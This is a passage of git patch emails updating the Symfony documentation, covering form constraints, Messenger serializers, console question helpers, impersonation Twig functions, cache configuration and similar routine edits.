-    In PHP >= 8, you can remove the two arguments when autoconfiguration is enabled
-    (which is the default):
-
     .. code-block:: yaml
 
         # config/services.yaml

From 93ab432ec8d0cfba3b7009659acaccef616cff2a Mon Sep 17 00:00:00 2001
From: Benjamin Morel <benjamin.morel@gmail.com>
Date: Sun, 29 Oct 2023 15:52:18 +0100
Subject: [PATCH 5353/7107] Use str_starts_with() in OptionsResolver examples

---
 components/options_resolver.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index 46b0ee6d542..fe3ef6f12fa 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -413,7 +413,7 @@ option. You can configure a normalizer by calling
             // ...
 
             $resolver->setNormalizer('host', function (Options $options, string $value): string {
-                if ('http://' !== substr($value, 0, 7)) {
+                if (!str_starts_with($value, 'http://')) {
                     $value = 'http://'.$value;
                 }
 
@@ -434,7 +434,7 @@ if you need to use other options during normalization::
         {
             // ...
             $resolver->setNormalizer('host', function (Options $options, string $value): string {
-                if ('http://' !== substr($value, 0, 7) && 'https://' !== substr($value, 0, 8)) {
+                if (!str_starts_with($value, 'http://') && !str_starts_with($value, 'https://')) {
                     if ('ssl' === $options['encryption']) {
                         $value = 'https://'.$value;
                     } else {

From e2cefae59ec271b4e9165de1db80800d9aee574e Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sat, 28 Oct 2023 14:37:33 +0200
Subject: [PATCH 5354/7107] [Form] Document "class constraints" for data
 class-less forms

---
 form/without_class.rst | 57 +++++++++++++++++++++++++++++++++++++++++-
 1 file changed, 56 insertions(+), 1 deletion(-)

diff --git a/form/without_class.rst b/form/without_class.rst
index d0a44ed6205..b2ebdcc5482 100644
--- a/form/without_class.rst
+++ b/form/without_class.rst
@@ -80,7 +80,10 @@ But if the form is not mapped to an object and you instead want to retrieve an
 array of your submitted data, how can you add constraints to the data of
 your form?
 
-The answer is to set up the constraints yourself, and attach them to the individual
+Constraints At Field Level
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+One possibility is to set up the constraints yourself, and attach them to the individual
 fields. The overall approach is covered a bit more in :doc:`this validation article </validation/raw_values>`,
 but here's a short example::
 
@@ -123,3 +126,55 @@ but here's a short example::
     When a form is only partially submitted (for example, in an HTTP PATCH
     request), only the constraints from the submitted form fields will be
     evaluated.
+
+Constraints At Class Level
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Another possibility is to add the constraints at the class level.
+This can be done by setting the ``constraints`` option in the
+``configureOptions()`` method::
+
+    use Symfony\Component\Form\Extension\Core\Type\TextType;
+    use Symfony\Component\Form\FormBuilderInterface;
+    use Symfony\Component\OptionsResolver\OptionsResolver;
+    use Symfony\Component\Validator\Constraints\Length;
+    use Symfony\Component\Validator\Constraints\NotBlank;
+
+    public function buildForm(FormBuilderInterface $builder, array $options): void
+    {
+        $builder
+            ->add('firstName', TextType::class)
+            ->add('lastName', TextType::class);
+    }
+
+    public function configureOptions(OptionsResolver $resolver): void
+    {
+        $constraints = [
+            'firstName' => new Length(['min' => 3]),
+            'lastName' => [
+                new NotBlank(),
+                new Length(['min' => 3]),
+            ],
+        ];
+
+        $resolver->setDefaults([
+            'data_class' => null,
+            'constraints' => $constraints,
+        ]);
+    }
+
+This means you can also do this when using the ``createFormBuilder()`` method
+in your controller::
+
+    $form = $this->createFormBuilder($defaultData, [
+            'constraints' => [
+                'firstName' => new Length(['min' => 3]),
+                'lastName' => [
+                    new NotBlank(),
+                    new Length(['min' => 3]),
+                ],
+            ],
+        ])
+        ->add('firstName', TextType::class)
+        ->add('lastName', TextType::class)
+        ->getForm();

From 226b0ed7d12a7158bdedfb91d8a51f159639246d Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 29 Oct 2023 20:36:54 +0100
Subject: [PATCH 5355/7107] [PHPUnitBridge] Add a note to disable the locale
 forcing by the bridge

---
 components/phpunit_bridge.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index e387510c69b..69c9993e603 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -432,6 +432,9 @@ configuration file:
         </php>
     </phpunit>
 
+Finally, if you want to avoid the bridge to force any locale, you can set the
+``SYMFONY_PHPUNIT_LOCALE`` environment variable to ``0``.
+
 .. versionadded:: 6.4
 
     The support for the ``SYMFONY_PHPUNIT_LOCALE`` environment variable was

From 5c04c6be11998435ededd740bb5a093acdde806b Mon Sep 17 00:00:00 2001
From: Antoine M <amakdessi@me.com>
Date: Mon, 30 Oct 2023 08:20:59 +0100
Subject: [PATCH 5356/7107] Document twig functions on impersonation

---
 security/impersonating_user.rst | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index b801b5570c1..de3e9129b6f 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -70,6 +70,14 @@ as the value to the current URL:
 
     http://example.com/somewhere?_switch_user=thomas
 
+.. tip::
+
+    You can leverage the Twig function ``impersonation_path('thomas')``
+
+    .. versionadded:: 6.4
+
+        The ``impersonation_path()`` function was introduced in Symfony 6.4.
+
 .. tip::
 
     Instead of adding a ``_switch_user`` query string parameter, you can pass
@@ -128,6 +136,10 @@ To switch back to the original user, use the special ``_exit`` username:
 
     http://example.com/somewhere?_switch_user=_exit
 
+.. tip::
+
+    You can leverage the Twig function ``impersonation_exit_path('/somewhere')``
+
 This feature is only available to users with a special role called ``ROLE_ALLOWED_TO_SWITCH``.
 Using :ref:`role_hierarchy <security-role-hierarchy>` is a great way to give this
 role to the users that need it.

From 2a70cd2819f8a089702cd74b017635fee5de6932 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 30 Oct 2023 10:58:07 +0100
Subject: [PATCH 5357/7107] -

---
 security/impersonating_user.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index 6b1a57b2eca..22c6ba11c73 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -74,10 +74,6 @@ as the value to the current URL:
 
     You can leverage the Twig function ``impersonation_path('thomas')``
 
-    .. versionadded:: 6.4
-
-        The ``impersonation_path()`` function was introduced in Symfony 6.4.
-
 .. tip::
 
     Instead of adding a ``_switch_user`` query string parameter, you can pass

From fa166323dbd137d0d984f1d96e4558484026c4b0 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 30 Oct 2023 13:23:55 +0100
Subject: [PATCH 5358/7107] [Messenger] Added message serializer section

---
 messenger.rst | 92 +++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 92 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 7190f063c35..f3c187bf2b2 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2566,6 +2566,98 @@ of the process. For each, the event class is the event name:
 * :class:`Symfony\\Component\\Messenger\\Event\\WorkerStartedEvent`
 * :class:`Symfony\\Component\\Messenger\\Event\\WorkerStoppedEvent`
 
+Message Serializer For Custom Data Formats
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+It is likely that you receive messages from other applications that are not
+exactly in the format you need. Not all applications will return a JSON message
+with ``body`` and ``headers`` fields. In this case, you'll need to
+create a new message serializer. This can be done by implementing the
+:class:`Symfony\\Component\\Messenger\\Transport\\Serialization\\SerializerInterface`.
+Let's say you want to create a message decoder::
+
+    namespace App\Messenger\Serializer;
+
+    use Symfony\Component\Messenger\Envelope;
+    use Symfony\Component\Messenger\Transport\Serialization\SerializerInterface;
+
+    class MessageWithTokenDecoder implements SerializerInterface
+    {
+        public function decode(array $encodedEnvelope): Envelope
+        {
+            $envelope = \json_decode($encodedEnvelope, true);
+
+            try {
+                // parse the data you received with your custom fields
+                $data = $envelope['data'];
+                $data['token'] = $envelope['token'];
+
+                // other operations like getting information from stamps
+            } catch (\Throwable $throwable) {
+                // wrap any exception that may occur in the envelope to send it to the failure transport
+                return new Envelope($throwable);
+            }
+
+            return new Envelope($data);
+        }
+
+        public function encode(Envelope $envelope): array
+        {
+            // this decoder does not encode messages, but you can implement it by returning
+            // an array with serialized stamps if you need to send messages in a custom format
+            throw new \LogicException('This serializer is only used for decoding messages.');
+        }
+    }
+
+Now that this serializer is created, you can use it in your transport:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/messenger.yaml
+        framework:
+            messenger:
+                transports:
+                    my_transport:
+                        dsn: '%env(MY_TRANSPORT_DSN)%'
+                        serializer: 'App\Messenger\Serializer\MessageWithTokenDecoder'
+
+    .. code-block:: xml
+
+        <!-- config/packages/messenger.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:messenger>
+                    <framework:transport name="my_transport" dsn="%env(MY_TRANSPORT_DSN)%" serializer="App\Messenger\Serializer\MessageWithTokenDecoder">
+                        <!-- ... -->
+                    </framework:transport>
+                </framework:messenger>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/messenger.php
+        use App\Messenger\Serializer\MessageWithTokenDecoder;
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework): void {
+            $messenger = $framework->messenger();
+
+            $messenger->transport('my_transport')
+                ->dsn('%env(MY_TRANSPORT_DSN)%')
+                ->serializer(MessageWithTokenDecoder::class);
+        };
+
 Multiple Buses, Command & Event Buses
 -------------------------------------
 

From 186885eb23007aa059ab784ad63fa995f507dd58 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 30 Oct 2023 16:42:28 +0100
Subject: [PATCH 5359/7107] [Messenger] Add mention of workers restarting with
 `supervisor`

---
 messenger.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 7190f063c35..a0f6a3ba1ff 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -726,6 +726,10 @@ Next, tell Supervisor to read your config and start your workers:
 
     $ sudo supervisorctl start messenger-consume:*
 
+    # If you deploy an update of your code, don't forget to restart your workers
+    # to run the new code
+    $ sudo supervisorctl restart messenger-consume:*
+
 See the `Supervisor docs`_ for more details.
 
 Graceful Shutdown

From 5c7a1e68f7a69cf216294d7fff18557a40c2cf34 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <2144837+alexandre-daubois@users.noreply.github.com>
Date: Tue, 31 Oct 2023 14:38:27 +0100
Subject: [PATCH 5360/7107] Revert "Fix the installation instructions of
 symfony/psr-http-message-bridge"

---
 components/psr7.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/psr7.rst b/components/psr7.rst
index f6ad69b786b..04a3b9148b5 100644
--- a/components/psr7.rst
+++ b/components/psr7.rst
@@ -10,7 +10,7 @@ Installation
 
 .. code-block:: terminal
 
-    $ composer require symfony/psr-http-message-bridge:^2.3
+    $ composer require symfony/psr-http-message-bridge
 
 .. include:: /components/require_autoload.rst.inc
 

From ba5b823f7b4d39ea38e85817685d86a26814fc78 Mon Sep 17 00:00:00 2001
From: Vincent Chareunphol <vincent@devoji.com>
Date: Wed, 1 Nov 2023 12:14:43 +0100
Subject: [PATCH 5361/7107] [Question helper] Add more accuracy on possible
 answers

---
 components/console/helpers/questionhelper.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index 7a78688e259..2ba340cdd8f 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -52,7 +52,8 @@ the following to your command::
     }
 
 In this case, the user will be asked "Continue with this action?". If the user
-answers with ``y`` it returns ``true`` or ``false`` if they answer with ``n``.
+answers with ``y`` (or any word, expression starting with ``y`` due to default answer regex, e.g ``yeti``) it returns ``true`` or ``false`` otherwise, e.g. ``n``.
+
 The second argument to
 :method:`Symfony\\Component\\Console\\Question\\ConfirmationQuestion::__construct`
 is the default value to return if the user doesn't enter any valid input. If

From a505d27adbb8b4938bf7a373033bcc47f80f4bf4 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 1 Nov 2023 14:43:20 +0100
Subject: [PATCH 5362/7107] -

---
 components/console/helpers/questionhelper.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index 2ba340cdd8f..3ae4ea96b39 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -52,7 +52,8 @@ the following to your command::
     }
 
 In this case, the user will be asked "Continue with this action?". If the user
-answers with ``y`` (or any word, expression starting with ``y`` due to default answer regex, e.g ``yeti``) it returns ``true`` or ``false`` otherwise, e.g. ``n``.
+answers with ``y`` (or any word, expression starting with ``y`` due to default
+answer regex, e.g ``yeti``) it returns ``true`` or ``false`` otherwise, e.g. ``n``.
 
 The second argument to
 :method:`Symfony\\Component\\Console\\Question\\ConfirmationQuestion::__construct`

From 95ad8ec059871c1b8e17aeee596aeaa28e96e9e3 Mon Sep 17 00:00:00 2001
From: Van Truong PHAN <svd.phan@gmail.com>
Date: Tue, 31 Oct 2023 13:12:32 +0100
Subject: [PATCH 5363/7107] Add sleep to observe the changes in the terminal
 when executing the code.

Add sleep() to observe the changes in the terminal when executing the code

When I copy and execute the code in the terminal, it runs too quickly, and I don't see anything appearing on the terminal. I struggle for a moment to understand the behavior of the 'output section.'
---
 console.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/console.rst b/console.rst
index bb445b6b148..96bcc5dfcfb 100644
--- a/console.rst
+++ b/console.rst
@@ -346,19 +346,23 @@ method, which returns an instance of
 
             $section1->writeln('Hello');
             $section2->writeln('World!');
+            sleep(1);
             // Output displays "Hello\nWorld!\n"
 
             // overwrite() replaces all the existing section contents with the given content
             $section1->overwrite('Goodbye');
+            sleep(1);
             // Output now displays "Goodbye\nWorld!\n"
 
             // clear() deletes all the section contents...
             $section2->clear();
+            sleep(1);
             // Output now displays "Goodbye\n"
 
             // ...but you can also delete a given number of lines
             // (this example deletes the last two lines of the section)
             $section1->clear(2);
+            sleep(1);
             // Output is now completely empty!
 
             return Command::SUCCESS;

From 4d6e960b8d75aa7359681de332104cadbb527479 Mon Sep 17 00:00:00 2001
From: Vincent Chareunphol <vincent@devoji.com>
Date: Wed, 1 Nov 2023 15:22:59 +0100
Subject: [PATCH 5364/7107] [Question helper]  Add more accuracy from a list of
 answers

---
 components/console/helpers/questionhelper.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index 3ae4ea96b39..bb8b3d959e2 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -113,8 +113,10 @@ Let the User Choose from a List of Answers
 
 If you have a predefined set of answers the user can choose from, you
 could use a :class:`Symfony\\Component\\Console\\Question\\ChoiceQuestion`
-which makes sure that the user can only enter a valid string
-from a predefined list::
+which makes sure that the user can only enter a valid string or the index
+of the choice from a predefined list. In the example below, typing ``blue``
+or ``1`` is the same choice for the user. A default value is set with ``0``
+but ``red`` could be set instead (could be more explicit)::
 
     use Symfony\Component\Console\Question\ChoiceQuestion;
 

From 62080d23a78ba3728684f02b262875a89202822c Mon Sep 17 00:00:00 2001
From: Vincent Chareunphol <vincent@devoji.com>
Date: Wed, 1 Nov 2023 15:35:34 +0100
Subject: [PATCH 5365/7107] [Question helper] Add more accuracy on multiple
 choices answers

---
 components/console/helpers/questionhelper.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index 3ae4ea96b39..43443f5c295 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -183,6 +183,8 @@ this use :method:`Symfony\\Component\\Console\\Question\\ChoiceQuestion::setMult
 
 Now, when the user enters ``1,2``, the result will be:
 ``You have just selected: blue, yellow``.
+The user can enter string: ``blue,yellow`` as well or even mix string and
+the index of the choice like ``blue,2``.
 
 If the user does not enter anything, the result will be:
 ``You have just selected: red, blue``.

From f22a72fd1785f6c6df83f6d927ac46d7c0e981a4 Mon Sep 17 00:00:00 2001
From: Vincent Chareunphol <vincent@devoji.com>
Date: Thu, 2 Nov 2023 08:10:08 +0100
Subject: [PATCH 5366/7107] [Filesystem] remove unused makeRelative example

---
 components/filesystem.rst | 17 +++++++----------
 1 file changed, 7 insertions(+), 10 deletions(-)

diff --git a/components/filesystem.rst b/components/filesystem.rst
index 70fdf10d63e..4fdcaf54b8f 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -435,7 +435,7 @@ Especially when storing many paths, the amount of duplicated information is
 noticeable. You can use :method:`Symfony\\Component\\Filesystem\\Path::getLongestCommonBasePath`
 to check a list of paths for a common base path::
 
-    Path::getLongestCommonBasePath(
+    $basePath = Path::getLongestCommonBasePath(
         '/var/www/vhosts/project/httpdocs/config/config.yaml',
         '/var/www/vhosts/project/httpdocs/config/routing.yaml',
         '/var/www/vhosts/project/httpdocs/config/services.yaml',
@@ -444,17 +444,14 @@ to check a list of paths for a common base path::
     );
     // => /var/www/vhosts/project/httpdocs
 
-Use this path together with :method:`Symfony\\Component\\Filesystem\\Path::makeRelative`
-to shorten the stored paths::
-
-    $bp = '/var/www/vhosts/project/httpdocs';
+Use this path together to shorten the stored paths::
 
     return [
-        $bp.'/config/config.yaml',
-        $bp.'/config/routing.yaml',
-        $bp.'/config/services.yaml',
-        $bp.'/images/banana.gif',
-        $bp.'/uploads/images/nicer-banana.gif',
+        $basePath.'/config/config.yaml',
+        $basePath.'/config/routing.yaml',
+        $basePath.'/config/services.yaml',
+        $basePath.'/images/banana.gif',
+        $basePath.'/uploads/images/nicer-banana.gif',
     ];
 
 :method:`Symfony\\Component\\Filesystem\\Path::getLongestCommonBasePath` always

From 633c448719a26f442c10e60a88406c6be6a507f7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 2 Nov 2023 12:07:49 +0100
Subject: [PATCH 5367/7107] Re-add Valentine to the Symfony CARE Team

---
 contributing/code_of_conduct/care_team.rst | 19 +++++++++++++------
 1 file changed, 13 insertions(+), 6 deletions(-)

diff --git a/contributing/code_of_conduct/care_team.rst b/contributing/code_of_conduct/care_team.rst
index f7f565a266f..316131e5e8f 100644
--- a/contributing/code_of_conduct/care_team.rst
+++ b/contributing/code_of_conduct/care_team.rst
@@ -19,30 +19,37 @@ the CARE team or if you prefer contact only individual members of the CARE team.
 Members
 -------
 
-Here are all the members of the CARE team (in alphabetic order). You can contact
-any of them directly using the contact details below or you can also contact all
-of them at once by emailing ** care@symfony.com **.
+Here are all the members of the CARE team (sorted alphabetically by surname).
+You can contact any of them directly using the contact details below or you can
+also contact all of them at once by emailing ** care@symfony.com **.
 
 * **Timo Bakx**
 
   * *E-mail*: timobakx [at] gmail.com
   * *Twitter*: `@TimoBakx <https://twitter.com/TimoBakx>`_
   * *SymfonyConnect*: `timobakx <https://connect.symfony.com/profile/timobakx>`_
-  * *SymfonySlack*: `@Timo Bakx <https://symfony-devs.slack.com/team/U3FQ2GVJA>`_
+  * *SymfonySlack*: `@Timo Bakx <https://symfony.com/slack>`_
 
 * **Zan Baldwin**
 
   * *E-mail*: hello [at] zanbaldwin.com
   * *Twitter*: `@ZanBaldwin <https://twitter.com/ZanBaldwin>`_
   * *SymfonyConnect*: `zanbaldwin <https://connect.symfony.com/profile/zanbaldwin>`_
-  * *SymfonySlack*: `@Zan <https://symfony-devs.slack.com/team/UBHGRU3NW>`_
+  * *SymfonySlack*: `@Zan <https://symfony.com/slack>`_
+
+* **Valentine Boineau**
+
+  * *E-mail*: valentine.boineau [at] gmail.com
+  * *Twitter*: `@BoineauV <https://twitter.com/BoineauV>`_
+  * *SymfonyConnect*: `valentineboineau <https://connect.symfony.com/profile/valentineboineau>`_
+  * *SymfonySlack*: `@Valentine <https://symfony.com/slack>`_
 
 * **Tobias Nyholm**
 
   * *E-mail*: tobias.nyholm [at] gmail.com
   * *Twitter*: `@tobiasnyholm <https://twitter.com/tobiasnyholm>`_
   * *SymfonyConnect*: `tobias <https://connect.symfony.com/profile/tobias>`_
-  * *SymfonySlack*: `@Tobias Nyholm <https://symfony-devs.slack.com/team/U3A9CNEDB>`_
+  * *SymfonySlack*: `@Tobias Nyholm <https://symfony.com/slack>`_
 
 About the CARE Team
 -------------------

From 3f2e4ef25baf7180ad19605b972bac0e997a867d Mon Sep 17 00:00:00 2001
From: Jeroen <1517978+Jeroeny@users.noreply.github.com>
Date: Fri, 3 Nov 2023 09:09:56 +0100
Subject: [PATCH 5368/7107] Windows native support for phpstorm urls

---
 reference/configuration/framework.rst | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index c520650f191..68fac2392dd 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -219,8 +219,8 @@ following values: ``phpstorm``, ``sublime``, ``textmate``, ``macvim``, ``emacs``
 
 .. note::
 
-    The ``phpstorm`` option is supported natively by PhpStorm on MacOS,
-    Windows requires `PhpStormProtocol`_ and Linux requires `phpstorm-url-handler`_.
+    The ``phpstorm`` option is supported natively by PhpStorm on MacOS and
+    Windows, Linux requires `phpstorm-url-handler`_.
 
 If you use another editor, the expected configuration value is a URL template
 that contains an ``%f`` placeholder where the file path is expected and ``%l``
@@ -311,6 +311,9 @@ Another alternative is to set the ``xdebug.file_link_format`` option in your
     // example for PhpStorm
     xdebug.file_link_format="phpstorm://open?file=%f&line=%l"
 
+    // example for PhpStorm with Jetbrains Toolbox
+    xdebug.file_link_format="jetbrains://php-storm/navigate/reference?project=example&file=%f:%l"
+
     // example for Sublime
     xdebug.file_link_format="subl://open?url=file://%f&line=%l"
 
@@ -3770,7 +3773,6 @@ use the configuration of the first exception that matches ``instanceof``:
 .. _`HTTP Host header attacks`: https://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html
 .. _`Security Advisory Blog post`: https://symfony.com/blog/security-releases-symfony-2-0-24-2-1-12-2-2-5-and-2-3-3-released#cve-2013-4752-request-gethost-poisoning
 .. _`Doctrine Cache`: https://www.doctrine-project.org/projects/doctrine-cache/en/current/index.html
-.. _`PhpStormProtocol`: https://github.com/aik099/PhpStormProtocol
 .. _`phpstorm-url-handler`: https://github.com/sanduhrs/phpstorm-url-handler
 .. _`blue/green deployment`: https://martinfowler.com/bliki/BlueGreenDeployment.html
 .. _`gulp-rev`: https://www.npmjs.com/package/gulp-rev

From 21aa7758bb1d5ddc30bc2fb19011d065aa3b30e3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 6 Nov 2023 11:52:39 +0100
Subject: [PATCH 5369/7107] Minor tweaks

---
 reference/configuration/framework.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 68fac2392dd..127b42b23f2 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -219,8 +219,8 @@ following values: ``phpstorm``, ``sublime``, ``textmate``, ``macvim``, ``emacs``
 
 .. note::
 
-    The ``phpstorm`` option is supported natively by PhpStorm on MacOS and
-    Windows, Linux requires `phpstorm-url-handler`_.
+    The ``phpstorm`` option is supported natively by PhpStorm on macOS and
+    Windows; Linux requires installing `phpstorm-url-handler`_.
 
 If you use another editor, the expected configuration value is a URL template
 that contains an ``%f`` placeholder where the file path is expected and ``%l``
@@ -314,7 +314,7 @@ Another alternative is to set the ``xdebug.file_link_format`` option in your
     // example for PhpStorm with Jetbrains Toolbox
     xdebug.file_link_format="jetbrains://php-storm/navigate/reference?project=example&file=%f:%l"
 
-    // example for Sublime
+    // example for Sublime Text
     xdebug.file_link_format="subl://open?url=file://%f&line=%l"
 
 .. note::

From f3bfe3560ac1cdfdfb3f314cea58cef23f0cfe2e Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 6 Nov 2023 13:07:22 +0100
Subject: [PATCH 5370/7107] [Validator] Bring precisions on Valid constraint's
 groups

---
 reference/constraints/Valid.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/reference/constraints/Valid.rst b/reference/constraints/Valid.rst
index ba4e789091c..c308a8eac93 100644
--- a/reference/constraints/Valid.rst
+++ b/reference/constraints/Valid.rst
@@ -297,6 +297,13 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
+.. note::
+
+    Unlike other constraints, the ``Valid`` constraint does not use the ``Default``
+    group. This means that it will always be applied by default, **even** if you
+    specify a group when calling the validator. If you want to restrict the
+    constraint to a subset of groups, you have to define the ``groups`` option.
+
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 ``traverse``

From 142ce5fd75a18f540245a72d91e84e714f7eb529 Mon Sep 17 00:00:00 2001
From: jmsche <jonathan.scheiber@wikipower.be>
Date: Mon, 6 Nov 2023 14:22:16 +0100
Subject: [PATCH 5371/7107] [Symfony CLI] Document the new docker_compose
 option

---
 setup/symfony_server.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index a12feb7a5c4..b4b416a2256 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -367,6 +367,9 @@ If you like some processes to start automatically, along with the webserver
         build_spa:
             cmd: ['yarn', '--cwd', './spa/', 'dev']
 
+        # auto start Docker compose when starting server (available since Symfony CLI 5.7.0)
+        docker_compose: ~
+
 .. _symfony-server-docker:
 
 Docker Integration

From fd72006881dd80a968042c981b0e3aac6e259339 Mon Sep 17 00:00:00 2001
From: Vincent Chareunphol <vincent@devoji.com>
Date: Mon, 6 Nov 2023 21:53:06 +0100
Subject: [PATCH 5372/7107] [Options Resolver] Using placeholder to use dynamic
 parameter

---
 components/options_resolver.rst | 9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index 5f9cd2659a9..94b5ac5a9de 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -801,11 +801,14 @@ method::
         ->setDeprecated('hostname', 'acme/package', '1.2')
 
         // you can also pass a custom deprecation message (%name% placeholder is available)
+        // %name% placeholder will be replaced by the deprecated option.
+        // This outputs the following deprecation message:
+        // Since acme/package 1.2: The option "hostname" is deprecated, use "host" instead.
         ->setDeprecated(
             'hostname',
             'acme/package',
             '1.2',
-            'The option "hostname" is deprecated, use "host" instead.'
+            'The option "%name%" is deprecated, use "host" instead.'
         )
     ;
 
@@ -822,6 +825,10 @@ method::
     :method:`Symfony\\Component\\OptionsResolver\\Options::offsetGet` method
     to not trigger the deprecation warning.
 
+.. note::
+
+    All deprecation messages are displayed in the profiler logs into Deprecations tab.
+
 Instead of passing the message, you may also pass a closure which returns
 a string (the deprecation message) or an empty string to ignore the deprecation.
 This closure is useful to only deprecate some of the allowed types or values of

From 9af5aee77bee6af48274512080ceff509f4e11cd Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Mon, 6 Nov 2023 22:41:54 +0100
Subject: [PATCH 5373/7107] [Cache] Remove invalid info about cache pool
 services

---
 cache.rst | 21 ++-------------------
 1 file changed, 2 insertions(+), 19 deletions(-)

diff --git a/cache.rst b/cache.rst
index 781e877d958..e8ae5c8525e 100644
--- a/cache.rst
+++ b/cache.rst
@@ -128,8 +128,7 @@ The Cache component comes with a series of adapters pre-configured:
     logic to dynamically select the best possible storage based on your system
     (either PHP files or APCu).
 
-Some of these adapters could be configured via shortcuts. Using these shortcuts
-will create pools with service IDs that follow the pattern ``cache.[type]``.
+Some of these adapters could be configured via shortcuts.
 
 .. configuration-block::
 
@@ -140,15 +139,10 @@ will create pools with service IDs that follow the pattern ``cache.[type]``.
             cache:
                 directory: '%kernel.cache_dir%/pools' # Only used with cache.adapter.filesystem
 
-                # service: cache.doctrine_dbal
                 default_doctrine_dbal_provider: 'doctrine.dbal.default_connection'
-                # service: cache.psr6
                 default_psr6_provider: 'app.my_psr6_service'
-                # service: cache.redis
                 default_redis_provider: 'redis://localhost'
-                # service: cache.memcached
                 default_memcached_provider: 'memcached://localhost'
-                # service: cache.pdo
                 default_pdo_provider: 'pgsql:host=localhost'
 
     .. code-block:: xml
@@ -164,13 +158,6 @@ will create pools with service IDs that follow the pattern ``cache.[type]``.
                 https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"
         >
             <framework:config>
-                <!--
-                default-doctrine-dbal-provider: Service: cache.doctrine_dbal
-                default-psr6-provider: Service: cache.psr6
-                default-redis-provider: Service: cache.redis
-                default-memcached-provider: Service: cache.memcached
-                default-pdo-provider: Service: cache.pdo
-                -->
                 <!-- "directory" attribute is only used with cache.adapter.filesystem -->
                 <framework:cache directory="%kernel.cache_dir%/pools"
